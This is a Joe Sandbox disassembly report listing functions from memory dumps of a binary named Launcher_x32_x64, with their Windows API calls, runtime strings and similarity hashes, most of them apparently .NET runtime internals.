Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: 04854cc3f7e0155ce6cea8981992dcb7acd88e4e32c7aa2a7ac5fcd81307ddf6
Instruction ID: 6d177fee67074c22e9778e420241101a7c424ace6a55e0621ab0de451202cc67
Opcode Fuzzy Hash: 04854cc3f7e0155ce6cea8981992dcb7acd88e4e32c7aa2a7ac5fcd81307ddf6
Instruction Fuzzy Hash: ED51F935E002589FEB28CFA8D884FAEBBB9FF85304F144169E905EF699D7719804CB50

Function 00E84130 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(95E4D7D1), ref: 00E8415E
SetLastError.KERNEL32(?,?), ref: 00E842EB

Strings

CLRVectoredExceptionHandlerShim: returning %d, xrefs: 00E842C6
CLRVectoredExceptionShim: mismatch of cached and current stack-base indicating use of Fibers, return with EXCEPTION_CONTINUE_SEARCH: current = %p; cache = %p, xrefs: 00E8423F

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorLast
String ID: CLRVectoredExceptionHandlerShim: returning %d$CLRVectoredExceptionShim: mismatch of cached and current stack-base indicating use of Fibers, return with EXCEPTION_CONTINUE_SEARCH: current = %p; cache = %p
API String ID: 1452528299-526770326
Opcode ID: e5761cc6b7330afdee64093bdb7f74760e1e194bd530dcdc8dcf99963530c3c5
Instruction ID: 4bf91f71350aa1ed6355b7d340b6d2cee5163f9b567de35b0417f9f32b957514
Opcode Fuzzy Hash: e5761cc6b7330afdee64093bdb7f74760e1e194bd530dcdc8dcf99963530c3c5
Instruction Fuzzy Hash: 964159B1A05205DBDB21EBA8D889BEDB7B8EB08714F154129F40EB72E1DB705D00CB90

Function 011141D0 Relevance: 6.1, APIs: 4, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

CoTaskMemFree.OLE32(00000000), ref: 011141EF
HeapFree.KERNEL32(00000000,00000000,00000000,95E4D7D1), ref: 01114221
CloseHandle.KERNEL32(?,?,010F03E4,95E4D7D1,8007000E,00000000,?,00000000,01362325,000000FF,?,01116E08,?,?,?,00000000), ref: 0111423E
FreeLibrary.KERNEL32(00000000,01116E08,?,?,?,00000000,95E4D7D1), ref: 0111425B

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Free$CloseHandleHeapLibraryTask
String ID:
API String ID: 4194648173-0
Opcode ID: a69030a6161193652849d12b3afcfed990a004aa3e8be2cce74eb82b1331907c
Instruction ID: 6a60324426b5c9a795a2e261f633d74b1d151fb665582a56b8b9fda5c508f68f
Opcode Fuzzy Hash: a69030a6161193652849d12b3afcfed990a004aa3e8be2cce74eb82b1331907c
Instruction Fuzzy Hash: 75118E7430490197DE1D9F29F498B2DFBAABB907A5F584138E515C3AE8CB74E8808B90

Function 00E3D6C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,00000000,00000000,00000000,ResumeThread,?,00F52BFC), ref: 00E3D6EB
HeapFree.KERNEL32(00000000,?,00000000,00000000,ResumeThread,?,00F52BFC), ref: 00E3D71E
HeapFree.KERNEL32(00000000,?,00000000,00000000,ResumeThread,?,00F52BFC), ref: 00E3D74E

Strings

ResumeThread, xrefs: 00E3D6C3

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: ResumeThread
API String ID: 3298025750-947044025
Opcode ID: 0cfd354443b49ea5586840581d89fc72df5dd377a8786ac904e89436f7c16769
Instruction ID: eaa2805760369a975caa97df4e4fa1360e44cc54e4387405bd1cc42f1b488a36
Opcode Fuzzy Hash: 0cfd354443b49ea5586840581d89fc72df5dd377a8786ac904e89436f7c16769
Instruction Fuzzy Hash: D8110A71204701DBE7309F1AE898B66FBEDEF54358F20852FE595A3660D7B1A844CB50

Function 00F48690 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00F48987,00000000,00000000,00000001,?), ref: 00F486AB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,00F506BC,03A45DC0,00000000,00000001,00000000,?,00000000,00000000,00000000,00000001,?,95E4D7D1,03A45DC0,00000000), ref: 00F486B8
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00F486D7
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00F486E2

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: c4bf1fcc626f332209602c9a1e25ed591a5373eeafa8463ae3e5efba535563f5
Instruction ID: 7ff3c4734291beb91b59b509200f45e5abfd4354746d46d112955b4e8bffad84
Opcode Fuzzy Hash: c4bf1fcc626f332209602c9a1e25ed591a5373eeafa8463ae3e5efba535563f5
Instruction Fuzzy Hash: B3F0F07978131237F231216A3C6AF2B2E8C8B81FB1F280635FA10F92D4DEC09C0152A9

Function 00F076E0 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMON

Download Yara Rule

APIs

SetThreadErrorMode.KERNEL32(00008001,00000000), ref: 00F07719

Part of subcall function 0109DAF0: LoadLibraryExW.KERNELBASE(?,00000000,?,?,?,00000000,FaultRep.dll,95E4D7D1,00000001,?,?), ref: 0109DC41
Part of subcall function 0109DAF0: GetLastError.KERNEL32 ref: 0109DC4F
Part of subcall function 0109DAF0: SetLastError.KERNEL32(00000000), ref: 0109DD84

GetLastError.KERNEL32(00000000), ref: 00F07734
SetThreadErrorMode.KERNEL32(00000000,00000000), ref: 00F0774E
SetLastError.KERNEL32(00000000), ref: 00F07755

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Error$Last$ModeThread$LibraryLoad
String ID:
API String ID: 3861856538-0
Opcode ID: 1843891f02e9b346d75f494f2aaf54f8a688d14047860747ae81965e6cd2eede
Instruction ID: 062380374a7ead56a11c84ec84fdd82e17e554f1dde46320dc8810bc751731c9
Opcode Fuzzy Hash: 1843891f02e9b346d75f494f2aaf54f8a688d14047860747ae81965e6cd2eede
Instruction Fuzzy Hash: 6C015E76945248EFDB20DF98DD08B9EBBBCFB44B25F10426AE815E33D0DB7519048B91

Function 00F99210 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(?,?,0000002C,?,0128BF8F,95E4D7D1,?,00000000), ref: 00F99218
GetLastError.KERNEL32 ref: 00F99225
SetLastError.KERNEL32(00000008), ref: 00F99238
SetLastError.KERNEL32(00000008), ref: 00F9924B

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorLast$FileSize
String ID:
API String ID: 3064237074-0
Opcode ID: 01e7caff431a63c9cd1e3e8df0517c8aae2487cb460f2fc2a3ae405cdd4aeb92
Instruction ID: a772efc2c7852f364cdcf619b7e5106a9bfdf825764f24093d75afa1b6a51f78
Opcode Fuzzy Hash: 01e7caff431a63c9cd1e3e8df0517c8aae2487cb460f2fc2a3ae405cdd4aeb92
Instruction Fuzzy Hash: 45E02236A051106BEA20277CB80879A739CAB86732F11832EFAB2C10E0CB70CC40AB51

Function 00E87390 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 283COMMON

Download Yara Rule

Strings

EX_THROW Type = 0x%x HR = 0x%x, line %d, xrefs: 00E8742C, 00E8751B, 00E875E1
NotSupported_COM, xrefs: 00E874A8

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: EX_THROW Type = 0x%x HR = 0x%x, line %d$NotSupported_COM
API String ID: 1357844191-3167800334
Opcode ID: f9c25f128ae836a919be38b4abc686f886c1bb37756582b1d9b9e63777960743
Instruction ID: 337fc0da62a1baa2ed21268b7fb969932a5145a43742621848f926a479ce5ed1
Opcode Fuzzy Hash: f9c25f128ae836a919be38b4abc686f886c1bb37756582b1d9b9e63777960743
Instruction Fuzzy Hash: D481F7B0A40209ABDB10EFA5DC45FAFBFB9EB44754F104129FA18B72D0EB749900C7A0

Function 00E87460 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 211COMMON

Download Yara Rule

APIs

Part of subcall function 01086B90: GetProcessHeap.KERNEL32(?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002,00000002,?,95E4D7D1), ref: 01086B9C
Part of subcall function 01086B90: RtlAllocateHeap.NTDLL(03A20000,00000000,00000002,?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002), ref: 01086BBA

Part of subcall function 00E3F800: wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,00000004,00000000,95E4D7D1,00000000,?), ref: 00E3F88C

Part of subcall function 01321B0B: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,00000000,014A5500,?,?,00EF5AD9,?,?), ref: 01321B6B

_swprintf.LIBCMT ref: 00E87659

Strings

EX_THROW Type = 0x%x HR = 0x%x, line %d, xrefs: 00E8742C, 00E8751B, 00E875E1
NotSupported_COM, xrefs: 00E874A8

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocateExceptionProcessRaise_swprintfwcscpy_s
String ID: EX_THROW Type = 0x%x HR = 0x%x, line %d$NotSupported_COM
API String ID: 1866756249-3167800334
Opcode ID: 768b48831b7902c7dcea070f5ce1c64ca0595a2c7d7b2504e9b655bbd9813d85
Instruction ID: dd44c8cc0ead2e591469dc73688237a719fafbb6832bac88355846ad44028d26
Opcode Fuzzy Hash: 768b48831b7902c7dcea070f5ce1c64ca0595a2c7d7b2504e9b655bbd9813d85
Instruction Fuzzy Hash: 9251F8B1E40209ABDB10EBA5DC45FAFBFB9EF44754F104129EA19B72D1EB74990087A0

Function 00F45610 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00F45703

Strings

{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}, xrefs: 00F456F8, 00F4580D

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: _swprintf
String ID: {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}
API String ID: 589789837-128308884
Opcode ID: a5557c5465ae8244db47f3d623248878464fed7800bb07c81eb6951f9e23e894
Instruction ID: 6c0068c3c3a3018fa9a7605682a3d5e3e852ef24460302a2a82a8f4217fe97fd
Opcode Fuzzy Hash: a5557c5465ae8244db47f3d623248878464fed7800bb07c81eb6951f9e23e894
Instruction Fuzzy Hash: 6871ABB1E40718EBEB20DF94CC59B9EBBB8EF44B14F244029E915BB2D1CBB85905DB50

Function 0108D1A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

CreateErrorInfo.OLEAUT32(00000000,95E4D7D1,?,00000000,00000000,?), ref: 0108D206
SetErrorInfo.OLEAUT32(00000000,00000000,?,?,?,00000000,00000000,?), ref: 0108D324

Strings

complib.hlp, xrefs: 0108D2CB

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorInfo$Create
String ID: complib.hlp
API String ID: 3127274525-2623185511
Opcode ID: 86101f381552fb81e37ac44d25cb6d5b31b9c821363aa5088d495eadcf38e3d7
Instruction ID: c7de68b750dde98cafafccbcab5486367f53d481d22b60c94df3b1b476b3a338
Opcode Fuzzy Hash: 86101f381552fb81e37ac44d25cb6d5b31b9c821363aa5088d495eadcf38e3d7
Instruction Fuzzy Hash: 17416B71A002199FCB04DF98E854B9EBFB9EF48720F24416AE905E7390DB75AD01CBA0

Function 010C1100 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

DRCT::THTML:: wait set empty after sweep., xrefs: 010C122C
DRCT::THTML:: Exiting., xrefs: 010C126A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID: DRCT::THTML:: Exiting.$DRCT::THTML:: wait set empty after sweep.
API String ID: 0-3898059428
Opcode ID: 812d16a8952454389a660f0f42bc99f87e9c1bc888d8661931ba8a6b074b54ef
Instruction ID: 86d3b2ff84648a68e4a9f9de1f2c13306ae252c31b7f6b8d4ed76dbe1d76f920
Opcode Fuzzy Hash: 812d16a8952454389a660f0f42bc99f87e9c1bc888d8661931ba8a6b074b54ef
Instruction Fuzzy Hash: 4341E2B4A00309EEEB61CB58C889BADBBF5FB05B14F54019EE954A62D2D7B45420CF54

Function 0109F190 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000000,?,00000000,00000000,039D0000,00EF4E8C,00000000,00000000), ref: 0109F1FC

Strings

The RW block to unmap was not found, xrefs: 0109F1E2
Releasing the RW mapping failed, xrefs: 0109F20E

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FileUnmapView
String ID: Releasing the RW mapping failed$The RW block to unmap was not found
API String ID: 2564024751-3150148780
Opcode ID: 1c4418d4b7e98a989ecec45a8e7100971905d37c5bd799a29ea0df2602851841
Instruction ID: 8f03a1e8e93a91d9da833458ebe8e5aefcca5b6e8815f9c5065ed18586ea5362
Opcode Fuzzy Hash: 1c4418d4b7e98a989ecec45a8e7100971905d37c5bd799a29ea0df2602851841
Instruction Fuzzy Hash: 1E21D476600115ABDF24DF99EC84ADABFACEF59321B1440AAED45D7200D730E915CBE0

Function 0109B4B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 01086BF0: GetProcessHeap.KERNEL32(00000002,00E3FECB,00000002,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086BFC
Part of subcall function 01086BF0: HeapAlloc.KERNEL32(03A20000,00000000,?,00000002,00E3FECB,00000002,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086C18

GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 0109B553
HeapFree.KERNEL32(00000000,00000000,95E4D7D1), ref: 0109B587

Strings

D:\a\_work\1\s\src\coreclr\vm\threads.cpp, xrefs: 0109B4C5

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
